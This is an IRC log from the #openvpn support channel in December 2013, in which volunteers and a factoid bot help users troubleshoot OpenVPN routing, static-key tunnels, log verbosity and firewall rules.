11:06 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a
11:06 <@vpnHelper> better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
11:06 <@dazo> that's crucial that all the routes on the OS level is correct
11:06 <@dazo> oh gee .... I've been away too long ... so many new factoids :)
11:07 < rob0> Three important flowcharts: !clientlan !serverlan !redirect
11:09 < rob0> Those make it self-help once you know what the user wants to do.
11:09 < zenpac> On the client side, I don't have control of the router....
11:13 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has quit [Quit: elfixit]
11:17 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Quit: calcifea]
11:22 < debbie10t> do we want this dead link in the manual page ?  http://www.greenie.net/ipv6/openvpn.html.  IPv6 Related options
11:23 < debbie10t> https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAQ
11:23 <@vpnHelper> Title: Openvpn23ManPage – OpenVPN Community (at community.openvpn.net)
11:23 < zenpac> dazo: Thank you.. My mistake was to use "push" on the server configuration, instead of simply route a.b.c.d 255.255.255.0
11:25 < zenpac> But now I realize my setup isn't very easy to manage, my virtual system on the client side will all need routes back to my server *through* the OVPN client..
11:26 < zenpac> I think adding all those routes to each client-side system will be messy..
11:27 < zenpac> So I hope to put another pfsense box in theoffice and just do site-t-site.
11:46 -!- ttec1 [~totaltec@37.220.17.3] has quit [Remote host closed the connection]
11:47 -!- totaltec [totaltec@86.Red-83-52-250.dynamicIP.rima-tde.net] has joined #openvpn
11:52 -!- sep [~sep@40.211.jostedal.no] has quit [Read error: No route to host]
12:00 -!- Jaska [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has quit [Disconnected by services]
12:01 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has joined #openvpn
12:04 -!- Zarrsh [~Zarrsh@cpe-24-210-20-161.columbus.res.rr.com] has quit [Ping timeout: 272 seconds]
12:04 -!- Zarrsh [~Zarrsh@cpe-24-210-20-161.columbus.res.rr.com] has joined #openvpn
12:04 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
12:09 -!- Mike-- [mad@84.245.50.128] has joined #openvpn
12:21 -!- Lope [~Lope@105-236-184-15.access.mtnbusiness.co.za] has joined #openvpn
12:26 < KrissO> did anyone respond to me? i log is gone
12:26 < KrissO> saw my nick highlighted
12:35 < Saul775> <dazo> KrissO: try increasing the verb level to 7 (iirc) ... that's very massive logging ... and see which file it tries to open
12:35 < KrissO> ok thanks
12:38 -!- KrissO [~krisso@46.109-247-25.customer.lyse.net] has quit [Read error: Connection reset by peer]
12:39 < Lope> where are the private keys normally saved?
12:39 -!- KrissO [~krisso@46.109-247-25.customer.lyse.net] has joined #openvpn
12:40 -!- sec^nd [~second@gateway/tor-sasl/sec0nd] has quit [Ping timeout: 240 seconds]
12:40 -!- KrissO [~krisso@46.109-247-25.customer.lyse.net] has quit [Client Quit]
12:47 -!- Mike3 [mad@84-245-9-217.dsl.cambrium.nl] has joined #openvpn
12:47 < rob0> Lope, you can put them anywhere, just specify the path in the --key option. As for "normal", that might vary by distro. I generally keep SSL/TLS keys under /etc/ssl/private/, and I have /etc/openvpn/keys/ as a symlink thereto. You can do what you want, as long as openvpn knows where to get it.
12:48 <@krzee> obesd, it makes good sense
12:49 -!- Mike-- [mad@84.245.50.128] has quit [Ping timeout: 240 seconds]
12:52 -!- sec^nd [~second@gateway/tor-sasl/sec0nd] has joined #openvpn
12:52 < Lope> rob0:  thanks :)
12:52 < obesd> krzee: ah so my idea of how to setup a secure voip+openvpn system makes sense? thats good =) never set one up before i was hoping i wasnt coming up with a dumb design hehe
12:52 -!- Mike3 is now known as Mike--
12:54 < obesd> thanks
12:54 -!- haxxa [~Harrison@198.143.0.217] has quit [Ping timeout: 272 seconds]
12:55 -!- haxxa [~Harrison@198.143.0.217] has joined #openvpn
12:55 < Lope> I've setup an openvpn some time ago. i got it to the point where the client and server could ping each other on the VPN IP's. but I've since rebooted and they can't ping each other.
12:55 < Lope> openvpn is running on both sides
12:55 < Lope> any ideas?
12:56 < obesd> you configured something via command line that made it work, but it wasnt something saved in a configuration file? maybe
12:57 <@krzee> Lope, troubleshoot it.
12:57 < Lope> hmm, I could try kill the client and server and then start them again
12:57 <@krzee> could check their logs look as expected
12:57 <@krzee> that firewalls are as expected
12:57 <@krzee> etc etc etc
12:59 -!- Mike-- [mad@84-245-9-217.dsl.cambrium.nl] has quit [Ping timeout: 260 seconds]
13:00 <@krzee> [13:23]  <debbie10t> do we want this dead link in the manual page ?  http://www.greenie.net/ipv6/openvpn.html.  IPv6 Related options
13:00 <@krzee> debbie10t, remove the trailing period
13:01 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:03 -!- zenpac [~zenpac3@66.55.33.66] has quit [Ping timeout: 248 seconds]
13:07 < Lope> Hi please help I just tried a simple unencrypted VPN from here https://wiki.debian.org/OpenVPN . SERVER openvpn --dev tun1 --ifconfig 10.9.8.1 10.9.8.2 CLIENT openvpn --remote SERVER_IP --dev tun1 --ifconfig 10.9.8.2 10.9.8.1 | they can't ping each other.
13:07 <@vpnHelper> Title: OpenVPN - Debian Wiki (at wiki.debian.org)
13:08 < Lope> They connect obviously. I've done it before without problems. iptables -L -n -v shows my IPtables are empty. (all ACCEPT)
13:15 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 240 seconds]
13:15  * dazo would probably argue that an unencrypted VPN isn't a VPN .... but, who cares .....
13:15 <@dazo> oh wait ... Virtual Public Network
13:15 <@dazo> it is VPN
13:15 <@dazo> :-P
13:16 < Lope> any help please?
13:17 <@dazo> Lope: firewall?  started openvpn with root/admin rights?
13:18 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
13:19 -!- zenpac [~zenpac3@66.55.33.66] has joined #openvpn
13:21 -!- haxxa [~Harrison@198.143.0.217] has quit [Ping timeout: 248 seconds]
13:23 -!- haxxa [~Harrison@198.143.0.217] has joined #openvpn
13:33 < Lope> yes started with admin rights
13:35 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds]
13:35 < Lope> no firewalls installed
13:35 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn
13:36 -!- mode/#openvpn [+o dazo] by ChanServ
13:36 < Lope> uptables allow only
13:36 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Quit: elfixit]
13:39 -!- Mike-- [mad@mx.probie.nl] has joined #openvpn
13:40 < abradley> Anyone recommend a really simple way to setup openvpn over another? Is doing it in ubuntu server via command line as simple as any other?
13:40 <@krzee> !bestos
13:40 <@vpnHelper> "bestos" is the best os for openvpn is the one you are most comfortable with
13:41 <@krzee> setup openvpn over another? you mean chaining openvpns?
13:41 < Lope> plz help guys, I had my openvpn stuff working before, I haven't changed anything
13:41 < Lope> I can connect but can't ping.
13:41 -!- dazo is now known as dazo_afk
13:42 <@krzee> Lope, obviously something changed, you need to figure out what.
13:42 <@krzee> check firewalls
13:42 < Lope> testing with an unencrypted connection for now https://wiki.debian.org/OpenVPN
13:42 <@vpnHelper> Title: OpenVPN - Debian Wiki (at wiki.debian.org)
13:42 < Lope> krzee: I have no firewalls installed. just iptables, and it's all accept.
13:42 <@krzee> changing the encryption is simply changing more things
13:42 <@krzee> if your vpn was fine before reboot it was not likely the vpn that had problems
13:42 < Lope> krzee: well the main thing is I'm making the connection without any config files so its dead simple
13:43 <@krzee> more likely something in your OS that wasnt made permanent
13:43 < Lope> hmm
13:43 < Lope> okay will reboot
13:43 < Lope> I did do some security update
13:43 < Lope> maybe that broke it
13:43 <@krzee> i assume you were running the exact same vpn command before and after the reboot of course
13:44 < Lope> yes. same guide with the link above.
13:44 <@krzee> i cant say i care to read the debian docs on openvpn
13:44 <@krzee> i use the openvpn docs
13:44 < Lope> okay
13:45 <@krzee> whats your goal for your vpn?
13:45 <@krzee> !goal
13:45 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
13:46 < Lope> I want to access the internet over my VPN
13:46 <@krzee> !redirect
13:46 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
13:46 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
13:46 < debbie10t> krzee: "remove the trailing dot ... cor well spotted ! {removed}
13:47 < Lope> okay but the client/server can't ping each other. so surely I should fix that first?
13:47 <@krzee> yes
13:47 <@krzee> did you reboot both sides?
13:47 < Lope> I've rebooted my server and its not working
13:47 < Lope> will reboot my client now
13:47 < Lope> thanks for the help my friend
13:47 < Lope> will copy and paste your info before I reboot.
13:48 <@krzee> after you reboot the client, show me your configs on both sides (remove comments if they exist)
13:48 < Lope> ok thanks
13:48 -!- Lope [~Lope@105-236-184-15.access.mtnbusiness.co.za] has quit [Remote host closed the connection]
13:53 -!- Lope [~Lope@105-236-184-15.access.mtnbusiness.co.za] has joined #openvpn
13:55 < Lope> krzee: wouldn't it be better to first get ping working without any config files?
13:55 <@krzee> without configs?
13:55 <@krzee> why?
13:55 <@krzee> i mean, you may
13:55 < Lope> less things that could be wrong
13:55 <@krzee> how so?
13:55 <@krzee> if you have a config, then when it works it works
13:55 < Lope> no encryption for example
13:55 <@krzee> then you save the config and done
13:56 <@krzee> do you plan on not using encryption?
13:56 < Lope> yeah that is an advantage
13:56 <@krzee> !howto
13:56 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
13:56 <@krzee> stop using lame guides
13:56 < Lope> I plan to use static encryption, which I had working previously
13:56 < Lope> Ok I'll use configs, I'll paste them on a paste site now
13:57 <@krzee> oh 1 sec, if you just want static key theres part of the manual that walks you through it
13:57 < Lope> I've already created the static key and I've got it on both sides
13:57 <@krzee> so you will never have a second client?
13:57 < Lope> no
13:59 <@krzee> ok here you go then
13:59 <@krzee> https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbBC
13:59 <@vpnHelper> Title: Openvpn23ManPage – OpenVPN Community (at community.openvpn.net)
13:59 <@krzee> from cli, just like you wanted
13:59 -!- pgnd [r0uVoUkh9Z@unaffiliated/pgngw] has joined #openvpn
14:01 <@krzee> if you want a setup that simple theres no reason you need to use configs, you can just call openvpn with the full command if thats what you wanna do
14:02 < Lope> my config is very basic http://codepad.org/HsUXwsYu
14:02 <@vpnHelper> Title: Plain Text code - 14 lines - codepad (at codepad.org)
14:02 <@krzee> i prefer to use them, that way i just openvpn <config> and i know the command is always the same
14:02 < Lope> yes, makes sense
14:02 < pgnd> The 'server-ipv6 ...' directive expands to include 'ifconfig-ipv6-pool ...', which appears to dynamically allocates a remote's link IP from a pool of addresses.  Which directive overrides that for per-client, static allocation?  I.e., what do I add to "ccd/clientX" to assign that conection's remote-end of the link a STATIC ip?
14:02 < pgnd>   I'm pretty sure it's "in here" ...
14:02 < Lope> I'll try clear my iptables again, maybe it'll help
14:02 <@krzee> Lope,
14:02 <@krzee> !iptables
14:02 <@vpnHelper> "iptables" is (#1) To test if netfilter ("iptables rules") are your problem, disable all rules with an ACCEPT policy. See https://github.com/QueuingKoala/netfilter-samples/tree/master/reset-rules for a script to do this. or (#2) See also the manpage section on firewalls at this link: https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbBG or (#3) These are just the basics to get you started
14:02 <@vpnHelper> as firewall design is beyond this channel's scope; you can also see #netfilter
14:02 <@krzee> err i mean
14:02 <@krzee> !netfilter
14:03 <@vpnHelper> "netfilter" is Under Linux, use `iptables-save` to show firewall rulesets (add -c to include counters.) Do not use iptables -L as it is incomplete & often lies. #netfilter is more on-topic for detailed help.
14:03 <@krzee> show both
14:05 < Lope> oh, weird. I was using iptables -L -n -v before... both looked fine
14:05 < Lope> but I did iptables-save now on the server and there is lots of junk in there...
14:06 < Lope> http://codepad.org/p4BbvY3j
14:06 <@vpnHelper> Title: Plain Text code - 33 lines - codepad (at codepad.org)
14:08 -!- Mike-- [mad@mx.probie.nl] has quit [Read error: Connection reset by peer]
14:08 -!- Mike-- [mad@mx.probie.nl] has joined #openvpn
14:08 <+pekster> Those are both just empty rulesets
14:09 < Lope> I know, but why is the server giving it a few times? with PREROUTING and POSTROUTING
14:09 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
14:09 -!- xBytez [xBytez@unaffiliated/xbytez] has quit [Read error: Connection reset by peer]
14:09 <+pekster> You have several tables loaded into the kernel
14:09 <+pekster> filter, mangle, and nat
14:10 -!- KrissO [~krisso@46.109-247-25.customer.lyse.net] has joined #openvpn
14:10 <+pekster> iptables(8) walks you through the basics of tables and chains, as do several of the wonderful guides you can find linked from the #netfilter /TOPIC
14:10 < Lope> I've cleared my iptables again using this command sudo iptables -F | sudo iptables -X | sudo iptables -P INPUT ACCEPT | sudo iptables -P FORWARD ACCEPT | sudo iptables -P OUTPUT ACCEPT | sudo iptables-save
14:11 < Lope> nothing has changed
14:11 < Lope> hmm, is it okay that I have several tables loaded into the kernel?
14:14 -!- james41382 [~james@unaffiliated/james41382] has quit [Quit: Leaving]
14:18 < electric-mind> what do you think about "elliptic curve support" in  easyrsa3 vs "RSA" ?
14:18 < electric-mind> and what about it's supporting in openvpn
14:19 -!- aji [~alex@atheme/member/aji] has quit [Ping timeout: 260 seconds]
14:19 -!- pgnd [r0uVoUkh9Z@unaffiliated/pgngw] has quit []
14:20 -!- aji [~alex@cholla.ajitek.net] has joined #openvpn
14:24 <+pekster> electric-mind, openvpn today does not support ECC
14:24 < Lope> ah this is depressing
14:25 < Lope> I'm gonna kill my VPS and reinstall it
14:25 <+pekster> That _is_ a blank (default-accept) ruleset
14:26 <+pekster> The "junk" as you call it is the canonical way to express the full netfilter configuration
14:26 <+pekster> (the same way that your OS is just a lot of "junk" files and your home/appartment is just a bunch of "junk" on top of the planet)
14:27 -!- Denial- [~Denial@91.227.220.16] has joined #openvpn
14:27 < Lope> pekster: okay, thanks
14:27 < Lope> I've started the server and client with the --verb 6 option
14:27 -!- zenpac [~zenpac3@66.55.33.66] has quit [Ping timeout: 246 seconds]
14:27 -!- Denial [Denial@2.223.161.125] has quit [Ping timeout: 246 seconds]
14:27 -!- Denial- is now known as Denial
14:27 <+pekster> Don't use 6
14:28 <+pekster> !verb
14:28 <@vpnHelper> "verb" is (#1) verb command is for setting log verbosity, see --verb in the manual (!man) for more info or (#2) verb 5 is good for finding firewall problems, verb 4 for troubleshooting anything else, and 3 is good for every day usage. or (#3) Anything more than 5 is for developer debugging only
14:28 < Lope> I've noticed when I try ping there is activity in the log for sure
14:28 < Lope> oh okay
14:28 <+pekster> 4 for general debugging and 5 if you're having basic connectivity problems and can't even established a connection or ping
14:28 <+pekster> >=6 is for developer debugging
14:28 < CatKiller> Hi there! I've generated a private key for OpenVPN but I didn't encrypt it, is there a way to encrypt it after it was generated?
14:29 < Lope> when I try ping this appears on both server and client openVPN terminals: wrWRWwrWRwrWRwrWR
14:29 <+pekster> CatKiller: `openssl rsa -in your.key -des3 -out your.key`
14:29 < Lope> (it just keeps going on with that pattern)
14:29 < CatKiller> pekster: Thanks! :)
14:29 <+pekster> Come to think of it, I should add that as a feature to easyrsa3
14:31 < rob0> pekster, #Netfilter
14:31 <@krzee> r is read and w is write, i have to goto work but post your logs from both sides and the failed pings
14:31 <+pekster> Channels (here anyway) are not case sensitive
14:32 <@krzee> oh i see, rob may have found it :D bbl headed to work
14:32 <+pekster> Oh, cross-posting, got it :P
14:32 < rob0> pekster, I mean I found the problem there :)
14:33 <+pekster> Though if the ping is "just" to the endpoing it's not a forwarding problem. It sounded like "the client/server cannot ping each other" meant that's what was being done (ie: no forwarding at all)
14:35 < Lope> well, I haven't enabled forwarding yet
14:35 < Lope> I just wanted to ping, which worked before
14:35 < Lope> but before I seem to recall adding some iptables rules
14:35 < rob0> oh, it's not a forwarding issue?
14:35 < Lope> hmm, maybe I've got version issues
14:36 < rob0> well yeah, those rulesets are empty, not blocking (or nating or mangling) anything.
14:37 < rob0> Where are we at, and on which flowchart? :)
14:39 <+pekster> rob0, none, AFAICT. p2p w/out crypto
14:39 <+pekster> "NAT-friendly GRE" basically
14:40 -!- Lope [~Lope@105-236-184-15.access.mtnbusiness.co.za] has quit [Ping timeout: 246 seconds]
14:41 -!- Lope [~Lope@105-236-184-15.access.mtnbusiness.co.za] has joined #openvpn
14:41 -!- zenpac [~zenpac3@66.55.33.66] has joined #openvpn
14:41 < EugeneKay> !beer
14:41 <@vpnHelper> "beer" is what's for dinner (and occasionally breakfast)
14:42 < EugeneKay> My favorite flowchart ^
14:42 < Lope> okay I'm running openVPN 2.2.1 on both sides
14:43 <+pekster> dinner? goto:beer. breakfast? flip coin. heads? goto:beer. tails? goto: flip coin. ;)
14:43 <+pekster> EugeneKay: Fixed the "flowchart" ;)
14:44 < EugeneKay> Aheheheh
14:44 < Lope> do I need forwarding for client and server to be able to ping each other?
14:44 <+pekster> Lope: No, forwarding is used when you want a host to act as a router and route traffic through that host
14:45 < rob0> I would suggest that you stop grasping and start focusing. A single pastebin with all the information. "ip a ; ip r ; iptables-save -c" and the openvpn command line (config if used) for each endpoint.
14:45 <+pekster> Ideally on gist (see !paste) so all can go in the same URL and you can update it
14:46 <+pekster> <3 gist.
14:46 < Lope> okay will do
14:46 < rob0> side-scrolling :(
14:46 < Lope> thanks
14:46 < rob0> oh, and of course openvpn verb 4 logs
14:47 < Lope> oh, earlier someone said verb 5 for diagnosing firewall issues
14:47 < Lope> but since my iptables are all accept I guess its not necessary.
14:47 < rob0> at least the one you showed us is NOT an issue
14:47 < rob0> (maybe the other one?)
14:49 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Quit: Leaving]
14:50 < Lope> should I do ip a and ip r after starting openvpn?
14:51 <+pekster> Yup, that's the only way to show the addressing/routes openvpn adds
14:54 -!- dvl [~dan@64.147.113.42] has quit [Changing host]
14:54 -!- dvl [~dan@pdpc/supporter/active/dvl] has joined #openvpn
14:57 < rob0> The whole idea is to show ALL relevant information.
15:09 < Lope> https://gist.github.com/lope/9bd3f80551b4b963c75b
15:09 <@vpnHelper> Title: openvpn (at gist.github.com)
15:10 -!- electric-mind [~root@static.58.41.40.188.clients.your-server.de] has left #openvpn []
15:14 < rob0> Both ends show the "Peer Connection Initiated with ..." and "Initialization Sequence Completed"?
15:14 <+pekster> Lope: Simple enough, though do remember the connections with --secret are stateless, which can have implications for traffic "initiated" from the server to the client depending on your client-side firewall. In any case the links are up at both ends per the `ip a` output
15:14 <+pekster> So can your client right now ping the server IP at 10.9.8.1 ?
15:15 < rob0> and from "server" ping 10.9.8.2?
15:15 <+pekster> fwiw, --keepalive is vaid in PSK setups too
15:15 <+pekster> valid*
15:15 -!- Lope [~Lope@105-236-184-15.access.mtnbusiness.co.za] has quit [Ping timeout: 246 seconds]
15:15 < rob0> ha
15:16 -!- totaltec [totaltec@86.Red-83-52-250.dynamicIP.rima-tde.net] has quit [Ping timeout: 272 seconds]
15:16 -!- g0uZ [~NickServ@AMontpellier-152-1-46-28.w81-251.abo.wanadoo.fr] has quit [Ping timeout: 246 seconds]
15:27 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 246 seconds]
15:32 -!- Lope [~Lope@105-236-184-15.access.mtnbusiness.co.za] has joined #openvpn
15:55 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
15:55 -!- niggardly [~andromeda@gateway/tor-sasl/martinphone] has joined #openvpn
16:01 -!- abradley [~adam@64-132-116-2.static.twtelecom.net] has quit [Ping timeout: 252 seconds]
16:12 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:20 -!- xBytez [~xBytez@23.239.130.185] has joined #openvpn
16:20 -!- xBytez [~xBytez@23.239.130.185] has quit [Changing host]
16:20 -!- xBytez [~xBytez@unaffiliated/xbytez] has joined #openvpn
16:21 -!- debbie10t [~ma1com10t@host-92-20-11-49.as13285.net] has left #openvpn []
16:25 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
16:48 -!- KrissO [~krisso@46.109-247-25.customer.lyse.net] has quit [Read error: Connection reset by peer]
16:50 -!- KrissO [~krisso@46.109-247-25.customer.lyse.net] has joined #openvpn
17:08 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Quit: calcifea]
17:11 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 272 seconds]
17:12 -!- KrissO [~krisso@46.109-247-25.customer.lyse.net] has quit [Remote host closed the connection]
17:13 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
17:13 -!- KrissO [~krisso@46.109-247-25.customer.lyse.net] has joined #openvpn
17:24 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
17:37 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
17:42 -!- zenpac [~zenpac3@66.55.33.66] has quit [Quit: Leaving]
17:50 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Ping timeout: 272 seconds]
17:56 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
18:00 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
18:16 -!- james41382 [~james@unaffiliated/james41382] has quit [Quit: Leaving]
18:27 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
18:44 -!- xrosnight [~quassel@183.234.77.221] has joined #openvpn
19:14 -!- kirin` [telex@gateway/shell/anapnea.net/x-shbzkmcsrgfuckyi] has quit [Ping timeout: 272 seconds]
19:18 -!- Semor [~Semor@218.106.182.104] has joined #openvpn
19:19 -!- kirin` [telex@gateway/shell/anapnea.net/x-mpzopptwwrhxjiul] has joined #openvpn
19:23 -!- Semor [~Semor@218.106.182.104] has quit [Ping timeout: 251 seconds]
19:36 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
20:29 -!- haxxa [~Harrison@198.143.0.217] has quit [Ping timeout: 272 seconds]
20:31 -!- haxxa [~Harrison@198.143.0.217] has joined #openvpn
20:41 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has quit [Ping timeout: 272 seconds]
20:45 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Ping timeout: 246 seconds]
20:47 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
20:48 -!- Kuba [~jakub@unaffiliated/kuba] has quit [Ping timeout: 272 seconds]
20:52 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Ping timeout: 246 seconds]
20:52 -!- Kuba [~jakub@unaffiliated/kuba] has joined #openvpn
20:53 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
20:57 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
20:58 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:01 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
21:03 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:10 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
21:20 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Quit: Ciao]
21:34 -!- jgeboski is now known as FreeMiranda
21:40 -!- FreeMiranda is now known as jgeboski
21:56 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 264 seconds]
21:58 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
22:53 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
23:00 -!- speed_racer84 [~speed_rac@172.56.14.201] has joined #openvpn
23:32 -!- speed_racer84 [~speed_rac@172.56.14.201] has quit [Read error: Connection reset by peer]
23:32 -!- speed_racer84 [~speed_rac@172.56.14.201] has joined #openvpn
23:32 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 265 seconds]
23:35 -!- speed_racer81 [~speed_rac@172.56.14.201] has joined #openvpn
23:38 -!- speed_racer84 [~speed_rac@172.56.14.201] has quit [Ping timeout: 260 seconds]
23:41 -!- haxxa [~Harrison@198.143.0.217] has quit [Ping timeout: 264 seconds]
23:45 -!- haxxa [~Harrison@198.143.0.217] has joined #openvpn
23:46 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
23:46 -!- ghost1235 [~speed_rac@172.56.14.201] has joined #openvpn
23:50 -!- speed_racer81 [~speed_rac@172.56.14.201] has quit [Ping timeout: 264 seconds]
--- Day changed Tue Dec 03 2013
00:12 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.2]
00:12 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
00:29 -!- niggardly [~andromeda@gateway/tor-sasl/martinphone] has quit [Quit: gone]
00:42 < Lope> hi can anyone help please? https://gist.github.com/lope/9bd3f80551b4b963c75b
00:42 <@vpnHelper> Title: openvpn (at gist.github.com)
00:53 -!- Martyn [~Martin@cpe-24-55-12-158.austin.res.rr.com] has joined #openvpn
00:56 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has quit [Ping timeout: 260 seconds]
00:56 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has joined #openvpn
01:00 < james41382> Lope: What's wrong with it?
01:00 < Lope> the client and server can't ping each other
01:01 < Lope> I had it working a few weeks ago, but then stopped working on it. I came back to it now and pings don't get through.
01:01 < james41382> Well your config files don't look like mine, but I don't know very much so maybe that's it.
01:03 < Lope> I've followed this guide exactly https://wiki.debian.org/OpenVPN last time and it worked perfectly. Now I'm not succeeding with it.
01:03 <@vpnHelper> Title: OpenVPN - Debian Wiki (at wiki.debian.org)
01:04 < james41382> Lope: I used the sample config files off the openvpn website.. they are easy to follow because before each option there's an explanation of what it does.
01:04 < james41382> http://openvpn.net/index.php/open-source/documentation/howto.html
01:04 <@vpnHelper> Title: HOWTO (at openvpn.net)
01:05 < james41382> I do like Debian though. =]
01:40 -!- akurilin [~akurilin@208.185.21.146] has quit [Quit: Leaving]
01:45 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
01:57 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
01:57 -!- mode/#openvpn [+o dazo_afk] by ChanServ
01:57 -!- dazo_afk is now known as dazo
02:06 -!- Martyn [~Martin@cpe-24-55-12-158.austin.res.rr.com] has quit []
02:11 -!- ghost1235 [~speed_rac@172.56.14.201] has quit [Ping timeout: 240 seconds]
02:13 -!- Six6siX [~six6@jasmine1.sammybakar.com] has quit [Quit: Six buggin' out...]
02:17 -!- totaltec [~totaltec@145.Red-2-138-247.dynamicIP.rima-tde.net] has joined #openvpn
02:21 -!- Six6siX [~six6@jasmine1.sammybakar.com] has joined #openvpn
02:24 -!- alexxtasi [~alex@unaffiliated/alexxtasi] has joined #openvpn
02:35 -!- g0uZ [~NickServ@193.253.168.52] has joined #openvpn
02:39 -!- g0uZ [~NickServ@193.253.168.52] has quit [Remote host closed the connection]
02:39 -!- g0uZ [~NickServ@193.253.168.52] has joined #openvpn
02:43 -!- g0uZ [~NickServ@193.253.168.52] has quit [Remote host closed the connection]
02:43 -!- g0uZ [~NickServ@193.253.168.52] has joined #openvpn
03:01 -!- totaltec [~totaltec@145.Red-2-138-247.dynamicIP.rima-tde.net] has quit [Ping timeout: 264 seconds]
03:03 -!- g0uZ [~NickServ@193.253.168.52] has quit [Read error: Connection reset by peer]
03:07 -!- g0uZ [~NickServ@193.253.168.52] has joined #openvpn
03:09 -!- totaltec [~totaltec@145.Red-2-138-247.dynamicIP.rima-tde.net] has joined #openvpn
03:10 -!- g0uZ [~NickServ@193.253.168.52] has quit [Remote host closed the connection]
03:15 -!- g0uZ [~NickServ@193.253.168.52] has joined #openvpn
03:18 -!- g0uZ [~NickServ@193.253.168.52] has quit [Remote host closed the connection]
03:18 -!- g0uZ [~NickServ@193.253.168.52] has joined #openvpn
03:20 < Lope> can I connect to a openVPN server by hostname rather than IP?
03:24 -!- g0uZ [~NickServ@193.253.168.52] has quit [Ping timeout: 265 seconds]
03:42 -!- totaltec [~totaltec@145.Red-2-138-247.dynamicIP.rima-tde.net] has quit [Ping timeout: 272 seconds]
03:47 -!- Denial- [Denial@2.223.161.125] has joined #openvpn
03:50 -!- Denial [~Denial@91.227.220.16] has quit [Ping timeout: 272 seconds]
03:50 -!- Denial- is now known as Denial
03:53 -!- g0uZ [~NickServ@193.253.170.23] has joined #openvpn
03:57 -!- g0uZ [~NickServ@193.253.170.23] has quit [Remote host closed the connection]
